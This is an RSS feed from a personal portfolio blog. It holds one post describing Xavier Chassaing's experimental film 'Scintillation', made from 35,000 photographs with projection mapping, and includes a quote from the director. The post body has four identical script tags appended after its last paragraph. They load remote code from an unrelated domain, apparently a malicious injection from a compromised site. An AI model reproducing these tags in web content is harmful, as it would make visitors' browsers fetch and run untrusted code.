<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jason Arend &#187; Art</title>
	<atom:link href="http://www.jasonarend.com/category/blog/art-blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jasonarend.com</link>
	<description>Production, Design and Development Portfolio of Jason Arend</description>
	<lastBuildDate>Thu, 10 Jun 2010 16:41:08 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Scintillation Experimental Film</title>
		<link>http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/</link>
		<comments>http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/#comments</comments>
		<pubDate>Tue, 07 Jul 2009 00:52:47 +0000</pubDate>
		<dc:creator>Jason Arend</dc:creator>
				<category><![CDATA[Art]]></category>
		<category><![CDATA[art]]></category>
		<category><![CDATA[experimental]]></category>
		<category><![CDATA[film]]></category>
		<category><![CDATA[photography]]></category>
		<category><![CDATA[projection]]></category>
		<category><![CDATA[stop motion]]></category>

		<guid isPermaLink="false">http://www.jasonarend.com/?p=135</guid>
		<description><![CDATA[<span class="hide"> <a href="http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/"><img title="Scintillation Experimental Film" src="http://www.jasonarend.com/wp-content/uploads/2009/07/scintillation_experimental_film.jpg" alt="Scintillation Experimental Film" /></a></span><p>This is an experimental film made up of over 35,000 photographs. It combines an innovative mix of stop motion and live projection mapping techniques.<p>]]></description>
			<content:encoded><![CDATA[<p><object width="494" height="210" data="http://vimeo.com/moogaloop.swf?clip_id=3114617&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=ecf000&amp;fullscreen=1" type="application/x-shockwave-flash"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=3114617&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=ecf000&amp;fullscreen=1" /></object></p>
<p><a class="external" href="http://www.vimeo.com/3114617" target="_blank">Scintillation</a> is a remarkable experimental piece by young director <a class="external" href="http://www.vimeo.com/chassaingxavier" target="_blank">Xavier Chassaing</a>. This piece stands on it’s own purely for its visuals, but the technique and craft that went into the production sets this film apart. What looks like film is in fact 35,000 photographs with a mix of 3d mapped projections. Here is what he had to say to me about his technical process for Scintillation:</p>
<blockquote><p><i>&#8220;What I have was an apartment, a small DSLR camera, a small computer and a small videoprojector. I also made a contraption who looks like a motion control but with the particularity of moving extremely slow who allowed me to take sequences of pictures with long exposure. (1frame per second, with 1 second of exposure). Even the best camera can not compete with this kind of sensitivity if they shoot at normal speed. So, I did everything myself from the 3d animation that I project on object, building the machine, the editing etc&#8230;&#8221;</i></p></blockquote>
<p>Xavier also enlisted Mathieu Caulet to help color grade on a flame in the end and worked closely with sound designer <a class="external" href="http://www.myspace.com/fedaden" target="_blank">Fedaden</a> throughout the entire process to score his piece.<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center">
<ul class="socials">
		<li class="shr-twitter">
			<a href="http://twitter.com/home?status=Scintillation+Experimental+Film+-+http://tinyurl.com/2w4tzfx&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="shr-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/&amp;title=Scintillation+Experimental+Film" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/&amp;t=Scintillation+Experimental+Film" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="shr-delicious">
			<a href="http://delicious.com/post?url=http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/&amp;title=Scintillation+Experimental+Film" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-linkedin">
			<a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/&amp;title=Scintillation+Experimental+Film&amp;summary=%20This%20is%20an%20experimental%20film%20made%20up%20of%20over%2035%2C000%20photographs.%20It%20combines%20an%20innovative%20mix%20of%20stop%20motion%20and%20live%20projection%20mapping%20techniques.&amp;source=Jason Arend" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/&amp;title=Scintillation+Experimental+Film" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-tumblr">
			<a href="http://www.tumblr.com/share?v=3&amp;u=http%3A%2F%2Fwww.jasonarend.com%2F2009%2F07%2F06%2Fscintillation-experimental-film%2F&amp;t=Scintillation+Experimental+Film" rel="nofollow" class="external" title="Share this on Tumblr">Share this on Tumblr</a>
		</li>
		<li class="shr-reddit">
			<a href="http://reddit.com/submit?url=http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/&amp;title=Scintillation+Experimental+Film" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-googlebookmarks">
			<a href="http://www.google.com/bookmarks/mark?op=add&amp;bkmk=http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/&amp;title=Scintillation+Experimental+Film" rel="nofollow" class="external" title="Add this to Google Bookmarks">Add this to Google Bookmarks</a>
		</li>
		<li class="shr-comfeed">
			<a href="http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a>
		</li>
		<li class="shr-friendfeed">
			<a href="http://www.friendfeed.com/share?title=Scintillation+Experimental+Film&amp;link=http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/" rel="nofollow" class="external" title="Share this on FriendFeed">Share this on FriendFeed</a>
		</li>
		<li class="shr-myspace">
			<a href="http://www.myspace.com/Modules/PostTo/Pages/?u=http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/&amp;t=Scintillation+Experimental+Film" rel="nofollow" class="external" title="Post this to MySpace">Post this to MySpace</a>
		</li>
		<li class="shr-blogger">
			<a href="http://www.blogger.com/blog_this.pyra?t&amp;u=http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/&amp;n=Scintillation+Experimental+Film&amp;pli=1" rel="nofollow" class="external" title="Blog this on Blogger">Blog this on Blogger</a>
		</li>
		<li class="shr-googlereader">
			<a href="http://www.google.com/reader/link?url=http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/&amp;title=Scintillation+Experimental+Film&amp;srcUrl=http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/&amp;srcTitle=Scintillation+Experimental+Film&amp;snippet=%20This%20is%20an%20experimental%20film%20made%20up%20of%20over%2035%2C000%20photographs.%20It%20combines%20an%20innovative%20mix%20of%20stop%20motion%20and%20live%20projection%20mapping%20techniques." rel="nofollow" class="external" title="Add this to Google Reader">Add this to Google Reader</a>
		</li>
		<li class="shr-technorati">
			<a href="http://technorati.com/faves?add=http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>

]]></content:encoded>
			<wfw:commentRss>http://www.jasonarend.com/2009/07/06/scintillation-experimental-film/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.574 seconds -->
